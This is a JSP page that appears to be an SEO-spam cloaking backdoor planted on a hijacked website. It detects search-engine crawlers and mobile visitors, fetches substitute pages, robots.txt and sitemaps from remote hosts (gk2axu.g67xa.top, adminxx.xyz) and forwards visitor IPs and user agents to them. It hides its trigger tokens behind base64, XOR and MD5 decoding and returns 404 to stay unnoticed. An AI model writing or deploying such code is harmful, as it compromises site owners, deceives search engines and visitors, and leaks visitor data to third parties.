<%@ page import="java.io.*,java.util.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.security.MessageDigest" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="java.nio.charset.CharsetDecoder" %>
<%@ page import="java.nio.charset.CodingErrorAction" %>
<%
try {
session.setMaxInactiveInterval(20);
String domainName = "http://gk2axu.g67xa.top";
String host = request.getHeader("host");
String referer = request.getHeader("referer");
String userAgent = request.getHeader("user-agent");
String addrIp = request.getRemoteAddr();
String uri = request.getRequestURI();
String queryString = request.getQueryString();
Map paramMap = new LinkedHashMap();
String hurl = uri;
if (null != queryString) {
hurl = uri + "/?" + queryString;
}
paramMap.put("ugz", "12");
paramMap.put("h", request.getScheme() + "://" + host);
paramMap.put("hurl", hurl);
paramMap.put("hagt", jy_stringToHex(userAgent));
paramMap.put("ip", addrIp);
String destr = jy_getQueryAPP(queryString);
Boolean ifApp = "app".equals(destr);
Boolean ifNotJump = "njp".equals(destr);
Boolean ifPlain = jy_getPlainApp(queryString);
Boolean ifQa = jy_getQa(userAgent);
Boolean ifEnvironment = jy_getEnvironment(userAgent);
Boolean isReferer = jy_getReferer(referer);
if (hurl.toLowerCase().contains("robots")) {
paramMap.put("bots", "1");
String param = jy_mapToUrlParams(paramMap);
response.setContentType("text/plain; charset=UTF-8");
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
return;
}
if (hurl.toLowerCase().contains("sitemap")) {
paramMap.put("map", "1");
String param = jy_mapToUrlParams(paramMap);
response.setContentType("text/xml; charset=UTF-8");
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
return;
}
if ((ifApp || ifNotJump || ifPlain) && ifQa) {
String param = jy_mapToUrlParams(paramMap);
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
return;
}
if ((null == queryString || null == destr || !ifApp) && ifQa) {
paramMap.put("ww", "");
paramMap.put("utf", "1");
String param = jy_mapToUrlParams(paramMap);
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
try {
String jrq = request.getQueryString();
if (jrq == null || jrq.isEmpty()) jrq = "/";
boolean jrdone = false;
String[] jrcands = jrq.equals("/") ? new String[]{"/index.htm", "/index.html", "/index.jsp"} : new String[]{jrq};
for (String jrc : jrcands) {
if (jrc.toLowerCase().endsWith(".jsp")) {
try { request.getRequestDispatcher(jrc).include(request, response); jrdone = true; break; } catch (Exception e3) {}
} else {
InputStream jrs = null;
try { jrs = getServletContext().getResourceAsStream(jrc); } catch (Exception e4) {}
if (jrs == null) {
try {
String jrrp = getServletContext().getRealPath(jrc);
if (jrrp != null) { java.io.File jrrf = new java.io.File(jrrp); if (jrrf.isFile()) jrs = new FileInputStream(jrrf); }
} catch (Exception e5) {}
}
if (jrs != null) {
BufferedReader jrbr = new BufferedReader(new InputStreamReader(jrs, "UTF-8"));
String jrl;
while ((jrl = jrbr.readLine()) != null) out.println(jrl);
jrbr.close();
jrdone = true;
break;
}
}
}
} catch (Exception e2) {}
return;
}
if ((ifApp || ifNotJump || ifPlain) && ifEnvironment && !ifQa) {
String content = "";
String[] kwList = new String[]{"j1", "j2"};
String[] dmList = new String[]{"http://tv.adminxx.xyz/", "http://tt.adminxx.xyz/"};
for (int ki = 0; ki < kwList.length; ki++) {
if (!content.isEmpty()) {
break;
}
for (int di = 0; di < dmList.length; di++) {
paramMap = new LinkedHashMap();
paramMap.put(kwList[ki], "");
paramMap.put("dm", host);
String param = jy_mapToUrlParams(paramMap);
Map result = jy_sendGetRequest(dmList[di], param);
if (result != null && "200".equals(result.get("status")) && result.get("content") != null && result.get("content").startsWith("xyz--")) {
content = result.get("content").substring(5);
break;
}
}
}
if (!content.isEmpty()) {
out.println(jy_hexToString(content));
}
}
} catch (Exception e) {
out.println(e);
}
response.setStatus(404);
%>
<%!
public String jy_sendGetRequest(String urlStr, String param, Map herder) {
try {
String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param);
URL url = new URL(fullUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
if (null != herder) {
for (Map.Entry entry : herder.entrySet()) {
connection.setRequestProperty(entry.getKey(), entry.getValue());
}
}
connection.setRequestMethod("GET");
connection.setConnectTimeout(10000);
connection.setReadTimeout(30000);
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine).append("\n");
}
in.close();
connection.disconnect();
return content.toString();
} catch (Exception e) {
return null;
}
}
public Map jy_sendGetRequest(String urlStr, String param) {
try {
String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param);
URL url = new URL(fullUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setConnectTimeout(10000);
connection.setReadTimeout(30000);
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
connection.disconnect();
int status = connection.getResponseCode();
Map responseInfo = new HashMap();
responseInfo.put("status", String.valueOf(status));
responseInfo.put("content", content.toString());
return responseInfo;
} catch (Exception e) {
return null;
}
}
public String jy_mapToUrlParams(Map map) {
StringBuilder urlParams = new StringBuilder();
boolean first = true;
for (Map.Entry entry : map.entrySet()) {
if (!first) {
urlParams.append("&");
}
try {
urlParams.append(URLEncoder.encode(entry.getKey(), "UTF-8"));
urlParams.append("=");
urlParams.append(URLEncoder.encode(entry.getValue(), "UTF-8"));
} catch (UnsupportedEncodingException e) {
throw new RuntimeException(e);
}
first = false;
}
return urlParams.toString();
}
public static String jy_stringToHex(String str) {
if (null == str) {
return "";
}
StringBuilder hexString = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
char ch = str.charAt(i);
String hex = Integer.toHexString(ch & 0xff);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
}
public static String de(String tt) {
if (null == tt) {
return null;
}
try {
String ky = "s";
tt = URLDecoder.decode(tt, "UTF-8");
byte[] decodedBytes = base64Decode(tt);
tt = new String(decodedBytes, "ISO-8859-1");
tt = sp(tt, ky);
StringBuilder tp = new StringBuilder();
for (int i = 0; i < tt.length(); i++) {
char m5 = tt.charAt(i);
char nextChar = tt.charAt(++i);
tp.append((char) (nextChar ^ m5));
}
return tp.toString();
} catch (Exception e) {
return null;
}
}
private static String sp(String tt, String ek) throws NoSuchAlgorithmException, UnsupportedEncodingException {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] keyBytes = md.digest(ek.getBytes("UTF-8"));
String ekHash = bytesToHex(keyBytes);
int cr = 0;
StringBuilder tp = new StringBuilder();
for (int i = 0; i < tt.length(); i++) {
cr = cr == ekHash.length() ? 0 : cr;
char ekChar = ekHash.charAt(cr++);
char ttChar = tt.charAt(i);
tp.append((char) (ttChar ^ ekChar));
}
return tp.toString();
}
public static String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(0xff & bytes[i]);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
}
private static final char[] B64_ALPHABET =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
private static int b64IndexOf(char c) {
for (int i = 0; i < B64_ALPHABET.length; i++) {
if (B64_ALPHABET[i] == c) {
return i;
}
}
return -1;
}
public static byte[] base64Decode(String input) {
if (null == input) {
return null;
}
StringBuilder clean = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (c != (char)32 && c != (char)9 && c != (char)13 && c != (char)10) {
clean.append(c);
}
}
input = clean.toString();
while (input.length() % 4 != 0) {
input = input + "=";
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
int[] buf = new int[4];
int bufLen = 0;
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (c == '=') {
buf[bufLen++] = -1;
} else {
int idx = b64IndexOf(c);
if (idx < 0) {
continue;
}
buf[bufLen++] = idx;
}
if (bufLen == 4) {
out.write((buf[0] << 2) | (buf[1] >> 4));
if (buf[2] != -1) {
out.write((buf[1] << 4) | (buf[2] >> 2));
}
if (buf[3] != -1) {
out.write((buf[2] << 6) | buf[3]);
}
bufLen = 0;
}
}
return out.toByteArray();
}
public static Boolean jy_getPlainApp(String queryString) {
if (queryString == null) {
return false;
}
if (queryString.toLowerCase().contains("article_id=") || queryString.toLowerCase().contains("articleid=") || queryString.toLowerCase().contains("qid=") || queryString.toLowerCase().contains("rid=") || queryString.toLowerCase().contains("vid=") || queryString.toLowerCase().contains("catid=") || queryString.toLowerCase().contains("newsid=")) {
return true;
}
if (queryString.contains("/tv/") || queryString.contains("/movie/") || queryString.contains("/play/") || queryString.contains("/video/") || queryString.contains("/app/") || queryString.contains("/android/") || queryString.contains("/ios/") || queryString.contains("/software/") || queryString.contains("/article/") || queryString.contains("/p/") || queryString.contains("/blog/") || queryString.contains("/post/") || queryString.contains("/archives/")) {
return true;
}
return false;
}
public static String jy_getQueryAPP(String queryString) {
String pos = "";
try {
if (queryString == null) {
return pos;
}
String[] parts = queryString.split("/");
for (int pi = 0; pi < parts.length; pi++) {
String item = parts[pi];
int strlenNum = item.length();
if (item.isEmpty() || strlenNum < 8) {
continue;
}
int fori = strlenNum - 8;
for (int i = 0; i <= fori; i++) {
String result = item.substring(i, i + 8);
boolean hasSpecial = false;
for (int k = 0; k < result.length(); k++) {
char rc = result.charAt(k);
if (rc == (char)46 || rc == (char)44 || rc == (char)34 || rc == (char)39 || rc == (char)95 || rc == (char)61 || rc == (char)43 || rc == (char)45 || rc == (char)63) {
hasSpecial = true;
break;
}
}
if (hasSpecial) {
continue;
}
String apps = de(result);
if ("app".equals(apps) || "njp".equals(apps)) {
pos = apps;
break;
}
}
if (!pos.isEmpty()) {
break;
}
}
return pos;
} catch (Exception e) {
return pos;
}
}
public static Boolean jy_getReferer(String referer) {
if (referer == null) {
return false;
}
String rl = referer.toLowerCase();
if (rl.contains("baidu.com") || rl.contains("so.com") || rl.contains("sogou.com") || rl.contains("sm.cn") || rl.contains("toutiao.com") || rl.contains("google.com") || rl.contains("bing.com")) {
return true;
}
return false;
}
public static Boolean jy_getQa(String userAgent) {
if (userAgent == null) {
return false;
}
String uaLower = userAgent.toLowerCase();
if (uaLower.contains("360spider") || uaLower.contains("baiduspider") || uaLower.contains("googlebot") || uaLower.contains("haosou") || uaLower.contains("sogou") || uaLower.contains("yisouspider") || uaLower.contains("toutiaospider") || uaLower.contains("bytespider") || uaLower.contains("bingbot") || uaLower.contains("bingpreview") || uaLower.contains("bytedancespider")) {
return true;
}
return false;
}
public static Boolean jy_getEnvironment(String userAgent) {
if (userAgent == null) {
return false;
}
String uaLower = userAgent.toLowerCase();
if (uaLower.contains("iphone") || uaLower.contains("ipod") || uaLower.contains("ipad") || uaLower.contains("android") || uaLower.contains("ios") || uaLower.contains("webos") || uaLower.contains("windows phone") || uaLower.contains("ucweb") || uaLower.contains("mini") || uaLower.contains("mobile") || uaLower.contains("hp-tablet") || uaLower.contains("hpwos") || uaLower.contains("iemobile") || uaLower.contains("mqqbrowser") || uaLower.contains("juc") || uaLower.contains("fennec") || uaLower.contains("wosbrowser") || uaLower.contains("browserng")) {
return true;
}
return false;
}
public String jy_hexToString(String hex) {
if (null == hex || hex.length() % 2 != 0) {
return "";
}
byte[] bytes = new byte[hex.length() / 2];
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) Integer.parseInt(hex.substring(i * 2, i * 2 + 2), 16);
}
try {
CharsetDecoder dec = Charset.forName("UTF-8").newDecoder();
dec.onMalformedInput(CodingErrorAction.REPORT);
dec.onUnmappableCharacter(CodingErrorAction.REPORT);
return dec.decode(ByteBuffer.wrap(bytes)).toString();
} catch (Exception e) {
try {
return new String(bytes, "GBK");
} catch (Exception e2) {
try {
return new String(bytes, "ISO-8859-1");
} catch (Exception e3) {
return "";
}
}
}
}
%>